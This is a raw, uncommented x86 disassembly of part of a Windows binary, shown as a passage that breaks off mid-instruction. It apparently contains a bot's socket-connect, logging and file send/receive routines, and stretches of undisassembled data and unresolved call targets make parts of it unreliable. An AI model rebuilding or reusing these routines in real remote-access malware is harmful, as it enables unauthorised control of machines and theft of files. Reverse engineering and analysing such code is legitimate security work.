0 push esi push edi jnz short loc_4156B0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_41576C ; --------------------------------------------------------------------------- loc_4156B0: ; CODE XREF: ___:0041569Aj mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4C92AC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4C92EC test eax, eax jnz short loc_415714 or eax, 0FFFFFFFFh jmp short loc_41576C ; --------------------------------------------------------------------------- loc_415714: ; CODE XREF: ___:0041570Dj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41571F loc_41571B: ; CODE XREF: ___:0041573Fj ; ___:00415763j mov eax, edi jmp short loc_41576C ; --------------------------------------------------------------------------- loc_41571F: ; CODE XREF: ___:00415719j lea eax, [ebp-10Ch] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_415741 lea eax, [ebp-210h] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41571B loc_415741: ; CODE XREF: ___:0041572Ej lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_41571B mov eax, [ebp-4] neg eax sbb eax, eax loc_41576C: ; CODE XREF: ___:004156ABj ; ___:00415712j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h, 8B004C92h dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h, 178045C7h, 0C7000000h dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h dd 0C7000000h, 6E9845h, 45C70000h, 719Ch, 0A045C700h, 77h dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h dd 8Fh, 0BBB445C7h, 0C7000001h, 1BDB845h, 45C70000h, 400BCh dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h, 4589E44Dh dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h, 0C33B008Bh dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch dd 0FFFE68h, 0E8016A00h, 3162h, 4D8B5959h, 10E0C108h, 0C10BCE23h dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh, 415FF00h dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh dd 0E808E7C1h, 3112h, 310C483h, 15FF57F8h, 4C9300h, 4CCAE8A3h dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh, 4CCB1105h dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh, 4CCAFAA3h dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch dd 0A3004CCAh, 4CCB08h, 0CAF105C6h, 8902004Ch, 4CCAEC1Dh dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h, 4CCAE4BEh dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h, 4CCAF4h dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh dd 0A36610C4h, 4CCAF4h, 0F868106Ah, 53004CCAh, 0FF56286Ah dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h, 3FFFCh dd 238C0F00h, 90FFFFFFh, 28AB5CE8h, 0F4452B02h, 0E8B9D233h dd 0F7000003h, 0C453BF1h, 75FF0E77h, 34E89010h, 0E90226A9h dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BF6 proc near ; CODE XREF: sub_401AC7+710Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43B4C0 mov edi, 0B8h loc_415C0A: ; CODE XREF: sub_415BF6+33j cmp byte ptr [esi], 0 jz short loc_415C2D push [ebp+arg_0] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_415C2D inc [ebp+var_4] add esi, edi cmp esi, offset dword_43C040 jl short loc_415C0A jmp short loc_415C6F ; --------------------------------------------------------------------------- loc_415C2D: ; CODE XREF: sub_415BF6+17j ; sub_415BF6+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43B4C0[esi] push ebx call sub_41BD10 push 17h push [ebp+arg_0] push ebx call sub_41BD70 push 9Fh lea eax, dword_43B4D8[esi] push [ebp+arg_4] push eax call sub_41BD70 add esp, 24h inc dword_4294D0 pop ebx loc_415C6F: ; CODE XREF: sub_415BF6+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C76 proc near ; CODE XREF: sub_401AC7+2880p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437718 push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h xor edi, edi mov esi, offset dword_43B4C0 loc_415CA0: ; CODE XREF: sub_415C76+72j cmp byte ptr [esi], 0 jz short loc_415CDB lea eax, [esi+18h] push eax push esi push edi push offset dword_437704 lea eax, [ebp+var_200] push 200h push eax call sub_41C100 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch loc_415CDB: ; CODE XREF: sub_415C76+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43C040 jl short loc_415CA0 pop edi pop esi leave retn sub_415C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CEE proc near ; CODE XREF: ___:004015A2p ; ___:00401623p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27B0000h mov ebx, offset dword_4D0F34 mov edi, 80h mov esi, offset dword_4CCF34 loc_415D10: ; CODE XREF: sub_415CEE+3Dj cmp byte ptr [ebx], 0 jz short loc_415D27 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BD70 add esp, 0Ch loc_415D27: ; CODE XREF: sub_415CEE+25j sub ebx, edi cmp ebx, esi jge short loc_415D10 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C100 add esp, 28h pop edi pop esi pop ebx leave retn sub_415CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D62 proc near ; CODE XREF: sub_4017E7+F7p ; sub_401AC7:loc_408954p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C900 lea eax, [ebp+var_80] push eax call sub_415CEE add esp, 14h leave retn sub_415D62 endp ; =============== S U B R O U T I N E ======================================= sub_415D8E proc near ; CODE XREF: sub_401AC7+2777p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CCF34 xor ecx, ecx loc_415D95: ; CODE XREF: sub_415D8E+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D0F34 jl short loc_415D95 cmp [esp+arg_C], ecx jnz short loc_415DC3 push ecx push [esp+4+arg_8] push offset dword_437764 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409862 add esp, 14h loc_415DC3: ; CODE XREF: sub_415D8E+19j push offset dword_437750 call sub_415CEE pop ecx retn sub_415D8E endp ; =============== S U B R O U T I N E ======================================= sub_415DCF proc near ; CODE XREF: ___:0040E1F0p arg_0 = dword ptr 4 push esi mov esi, offset dword_4CCF34 loc_415DD5: ; CODE XREF: sub_415DCF+27j cmp byte ptr [esi], 0 jz short loc_415DEA push [esp+4+arg_0] push esi call sub_418584 pop ecx test eax, eax pop ecx jnz short loc_415DFC loc_415DEA: ; CODE XREF: sub_415DCF+9j add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415DD5 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415DFC: ; CODE XREF: sub_415DCF+19j push 1 pop eax pop esi retn sub_415DCF endp ; --------------------------------------------------------------------------- byte_415E01 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+282Ao ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E54 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437794 push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415E54: ; CODE XREF: ___:00415E34j cmp byte ptr [ebp-98h], 0 jz short loc_415E74 lea eax, [ebp-98h] push eax call sub_41BEF9 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415E74 mov [ebp-8], eax loc_415E74: ; CODE XREF: ___:00415E5Bj ; ___:00415E6Fj and dword ptr [ebp+8], 0 mov esi, offset dword_4CCF34 loc_415E7D: ; CODE XREF: ___:00415ED5j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415ED7 cmp byte ptr [esi], 0 jz short loc_415EC6 cmp byte ptr [ebp-98h], 0 jz short loc_415EAC cmp dword ptr [ebp-4], 0 jnz short loc_415EAC lea eax, [ebp-98h] push eax push esi call sub_418584 pop ecx test eax, eax pop ecx jz short loc_415EC6 loc_415EAC: ; CODE XREF: ___:00415E91j ; ___:00415E97j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415EC6: ; CODE XREF: ___:00415E88j ; ___:00415EAAj inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415E7D loc_415ED7: ; CODE XREF: ___:00415E83j lea eax, [ebp-31Ch] push offset dword_437778 push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F11 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415F11: ; CODE XREF: ___:00415EEFj lea eax, [ebp-31Ch] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 0D2h, 0A0h dd 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F30 proc near ; CODE XREF: ___:004165D5p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FAC push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_415F91 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_415FAC mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415F91: ; CODE XREF: sub_415F30+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_415FB0 push edi call dword_4C939C loc_415FAC: ; CODE XREF: sub_415F30+1Bj ; sub_415F30+58j mov eax, esi jmp short loc_415FB2 ; --------------------------------------------------------------------------- loc_415FB0: ; CODE XREF: sub_415F30+73j mov eax, edi loc_415FB2: ; CODE XREF: sub_415F30+7Ej pop edi pop esi leave retn sub_415F30 endp ; --------------------------------------------------------------------------- word_415FB6 dw 8B55h ; DATA XREF: sub_401AC7+9F6o dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h, 8B6D6A57h dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 90565959h dd 2D9FB7E8h, 0B4B86802h, 0E8530043h, 40FEh, 0FFF88359h dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh dd 0FFFF561Dh, 0E8905659h, 22D9F4Ch, 60E8646Ah, 900226A4h dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 5C3FE8h dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4C931Ch dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h, 6537E8h dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h dd 0E890646Ah, 226A407h, 0DAE80A6Ah, 85FFFF54h, 0A37559C0h dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h, 59FFFF55h dd 89E89057h db 9Eh, 2Dh, 2 ; --------------------------------------------------------------------------- loc_416177: ; DATA XREF: sub_401AC7+76ABo push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_4161C5 push offset unk_437914 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4161C5: ; CODE XREF: ___:004161B9j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4C9304 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4C9330 test eax, eax jz short loc_416203 push offset unk_4378F0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_416203: ; CODE XREF: ___:004161F7j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4C92A8 push dword ptr [ebp-2Eh] call dword_4C9234 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B960 pop ecx loc_416235: ; CODE XREF: ___:00416266j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416248 push 5Fh pop eax jmp short loc_41624B ; --------------------------------------------------------------------------- loc_416248: ; CODE XREF: ___:00416241j movsx eax, al loc_41624B: ; CODE XREF: ___:00416246j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B960 cmp [ebp+8], eax pop ecx jbe short loc_416235 push ebx push edi call dword_4C932C test eax, eax jz short loc_41627E push offset unk_437814 jmp loc_41637E ; --------------------------------------------------------------------------- loc_41627E: ; CODE XREF: ___:00416272j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27306D8h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162A8 push offset unk_4378D0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: ___:0041629Cj push esi push eax nop call near ptr 2760AD0h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40A9FA pop ecx push eax call dword_4C9344 push eax call dword_4C9300 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_4378B8 push eax call sub_41C006 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4C92EC test eax, eax jg short loc_416358 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_4378A0 push eax push dword ptr [ebp-1FCh] call sub_409862 jmp loc_41647C ; --------------------------------------------------------------------------- loc_416358: ; CODE XREF: ___:00416336j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416391 push offset unk_43787C loc_41637E: ; CODE XREF: ___:004161C0j ; ___:004161FEj ... lea eax, [ebp-3FCh] push eax call sub_41C006 pop ecx pop ecx jmp loc_41647F ; --------------------------------------------------------------------------- loc_416391: ; CODE XREF: ___:00416377j push edi call dword_4C939C cmp [ebp+8], esi jz loc_416443 mov edi, 400h loc_4163A6: ; CODE XREF: ___:0041643Aj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163B3 mov [ebp-4], eax loc_4163B3: ; CODE XREF: ___:004163AEj push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BD10 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2791104h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4C9354 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4C931C cmp eax, ebx jl loc_4164D8 mov eax, [ebp-4] cmp eax, ebx jl loc_4164D8 sub [ebp+8], eax jnz loc_4163A6 mov edi, [ebp-18h] loc_416443: ; CODE XREF: ___:0041639Bj push dword ptr [ebp-8] nop call near ptr 2660000h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416C7D pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4C9390 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437850 push eax call sub_41C006 loc_41647C: ; CODE XREF: ___:00416353j add esp, 14h loc_41647F: ; CODE XREF: ___:0041638Cj cmp [ebp-50h], esi jnz short loc_4164A4 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 14h loc_4164A4: ; CODE XREF: ___:00416482j lea eax, [ebp-3FCh] push eax call sub_415CEE cmp edi, esi pop ecx jbe short loc_4164BC push edi call dword_4C939C loc_4164BC: ; CODE XREF: ___:004164B3j push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h loc_4164D8: ; CODE XREF: ___:00416426j ; ___:00416431j push esi mov esi, offset dword_437838 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409862 push esi call sub_415CEE add esp, 18h push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_416519: ; DATA XREF: sub_401AC7+78Fo push ebp mov ebp, esp mov eax, 14C4h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2680000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429ACC push eax call sub_41C006 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 27306D8h nop cmp eax, 0FFFFFFFFh jnz short loc_4165A3 push offset unk_4379B4 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165A3: ; CODE XREF: ___:0041659Aj push eax nop call near ptr 2660000h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BC88 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_4165CB push offset unk_437984 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165CB: ; CODE XREF: ___:004165C2j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F30 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4165FC push offset unk_437964 loc_4165E9: ; CODE XREF: ___:004165A1j ; ___:004165C9j lea eax, [ebp-4C4h] push eax call sub_41C006 pop ecx pop ecx jmp loc_4166F6 ; --------------------------------------------------------------------------- loc_4165FC: ; CODE XREF: ___:004165E2j mov esi, 1000h loc_416601: ; CODE XREF: ___:00416667j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4C931C mov edi, eax cmp edi, ebx jz loc_4166C8 cmp edi, 0FFFFFFFFh jz short loc_416669 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DA54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4C9300 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4C9354 jmp short loc_416601 ; --------------------------------------------------------------------------- loc_416669: ; CODE XREF: ___:00416631j lea eax, [ebp-4C4h] push offset dword_437838 push eax call sub_41C006 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 lea eax, [ebp-4C4h] push eax call sub_415CEE push dword ptr [ebp-4] call sub_41B9DB add esp, 24h push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push 1 nop call near ptr 26F0000h loc_4166C8: ; CODE XREF: ___:00416628j mov eax, [ebp-8] cdq push edx push eax call sub_416C7D push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437938 push eax call sub_41C006 add esp, 1Ch loc_4166F6: ; CODE XREF: ___:004165F7j cmp [ebp-14h], ebx jnz short loc_41671B push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 add esp, 14h loc_41671B: ; CODE XREF: ___:004166F9j lea eax, [ebp-4C4h] push eax call sub_415CEE cmp [ebp-4], ebx pop ecx jz short loc_416736 push dword ptr [ebp-4] call sub_41B9DB pop ecx loc_416736: ; CODE XREF: ___:0041672Bj cmp [ebp+8], ebx jbe short loc_416744 push dword ptr [ebp+8] call dword_4C939C loc_416744: ; CODE XREF: ___:00416739j push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push ebx call near ptr 26F0000h nop loc_416754: ; DATA XREF: sub_401AC7+61D9o ; sub_401AC7+6A07o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4C92B4 call dword_4C9208 cmp eax, esi mov [ebp-18h], eax jz loc_416BE0 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27306D8h cmp eax, edi mov [ebp-20h], eax jnb short loc_41681B lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437B80 push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4167FE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_4167FE: ; CODE XREF: ___:004167DCj lea eax, [ebp-510h] push eax call sub_415CEE push dword ptr [ebp-48h] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h loc_41681B: ; CODE XREF: ___:004167BCj xor edi, edi nop call near ptr 26A0729h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BC9B pop ecx mov [ebp-1Ch], eax loc_416835: ; CODE XREF: ___:00416908j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4C9210 cmp [ebp-34h], esi jz short loc_416879 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C46 pop ecx pop ecx loc_416879: ; CODE XREF: ___:00416866j lea eax, [ebp-24h] push esi push eax lea 